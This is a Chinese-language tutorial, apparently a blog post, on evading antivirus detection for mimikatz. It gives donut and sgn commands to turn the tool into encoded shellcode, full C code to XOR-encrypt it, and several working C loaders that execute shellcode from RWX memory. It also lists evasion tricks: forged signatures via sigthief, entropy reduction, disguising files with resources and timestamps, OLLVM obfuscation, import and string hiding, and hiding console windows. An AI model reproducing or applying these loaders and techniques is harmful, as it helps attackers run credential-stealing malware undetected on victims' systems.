实用的的免杀小技巧

前记

针对mimikatz类c语言编写的工具，可以转化为shellcode的免杀并编写packer以降本增效

降本增效式免杀

先对mimikatz进行shellcode化

donut.exe -i mimikatz.exe -a 2 -e 2

shellcode过静态

sgn.exe -i loader.bin -a 64 -c 6 -M 1 -o cc.bin

然后对sgn混淆的文件进行异或加密

#include <stdio.h>
#include <Windows.h>
#include <stdlib.h>
#include<string.h>

int main() {
    //write
    FILE* file2 = NULL;
    char path2[] = "c1.bin";
    //read
    fopen_s(&file2, path2, "wb");
    FILE* file = NULL;
    char path[] = "cc.bin";
    fopen_s(&file, path, "rb");
    fseek(file, 0, SEEK_END);
    int filelen = ftell(file);
    fseek(file, 0, SEEK_SET);
    char* buf = (char*)VirtualAlloc(NULL, filelen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    fread(buf, 1, filelen, file);
    //jiami
    int a = 88;    unsigned char jiami;
    unsigned char tmp;
    int b = 0;
    srand(a);
    for (int i = 0; i < filelen; i++) {
        b = rand() % 9 + 1;//1-9
        jiami = b ^ buf[i];
        fwrite(&jiami, sizeof(unsigned char), 1, file2);
    }
    fclose(file);
    fclose(file2);
    system("pause");
    return 0;
}

loader加载

这里放一个简单的内存中解密加载

#include <stdio.h>
#include <Windows.h>
#include<string.h>
void jisuan(int i) {
    for (int j = 0; j < i; j++)
        printf("%d\n", j);
}
int main(int argc, char* argv[])
{
    if (argc == 2)
    {
        char k[] = "998";
        if (strcmp(argv[1], k) == 0) {
            int a = 88;//key
            FILE* file = NULL;
            char path[] = "c1.bin";
            fopen_s(&file, path, "rb");
            fseek(file, 0, SEEK_END);
            int filelen = ftell(file);
            fseek(file, 0, SEEK_SET);
            char* buf = (char*)VirtualAlloc(NULL, filelen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            fread(buf, 1, filelen, file);
            int b;
            srand(a);
            for (int i = 0; i < filelen; i++)
            {
                b = rand() % 9 + 1;//1-9
                buf[i] = buf[i] ^ b;
            }
            void* p;
            ((void(*)())buf)();
        }
        else {
            jisuan(88);
        }
    }
    else
    {
        jisuan(100);
    }
    return 0;
}

签名

sigthief.py伪造

signtool不受信任

减熵

Junkcode添加垃圾量

更换编码方式(uuid,mac,ipv4,ipv6)

添加资源文件

文件伪装

resource hacker,直接导出正常文件的RES，导入到loader中

rcedit

修改创建、写入日期(newfiletime)

混淆源代码

ollvm（Instructions Substitution（指令替换）、Bogus Control Flow（混淆控制流）、Control Flow Flattening（控制流平展）

实际用处不大，但是可以很好的增加杀软云端逆向分析人员的工作量，加长免杀时间

导入隐藏

动态获取调用api

导入lazy_importer库

字符串隐藏

字符串数组分割赋值

导入现成的字符串混淆库

效果测试

后记

Hide Dos windows

预处理

#include<windows.h>
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" ) // 设置入口地址
int main()
{
	MessageBoxA(NULL, "Hello", "Notice", NULL);
	return 0;
}

API实现

#include<windows.h>
void HideWindow() {
	HWND hwnd = GetForegroundWindow();
	if (hwnd) {
		ShowWindow(hwnd, SW_HIDE);
	}
}

int main()
{
	HideWindow();
	int a = 10;
	return 0;
}

#include<windows.h>
int main()
{
	FreeConsole();
	int a = 10;
	return 0;
}

常规读文件loader

#include <stdio.h>
#include <Windows.h>
#include <stdlib.h>
#include<string.h>

int main(int argc, char* argv[])
{
            FILE* file = NULL;
            char path[] = "loader.bin";
            fopen_s(&file, path, "rb");
            fseek(file, 0, SEEK_END);
            int filelen = ftell(file);
            fseek(file, 0, SEEK_SET);
            char* buf = (char*)VirtualAlloc(NULL, filelen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            fread(buf, 1, filelen, file);
            void* p;
            ((void(*)())buf)();
    return 0;
}

或者

#include<stdio.h>
#include<windows.h>
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
int main()
{
    HANDLE bin = CreateFileA("loader.bin", GENERIC_READ, NULL, NULL, OPEN_EXISTING, NULL, NULL);
    DWORD64 bin_size = GetFileSize(bin, NULL);
    LPVOID bin_bytes = VirtualAlloc(NULL, bin_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    DWORD out_size = 0;
    ReadFile(bin, bin_bytes, bin_size, &out_size, NULL);
    DWORD tmp;
    VirtualProtect(bin_bytes, sizeof(bin_bytes), PAGE_EXECUTE_READWRITE, &tmp);
    ((void(*)())bin_bytes)();
    CloseHandle(bin);
    return 0;
}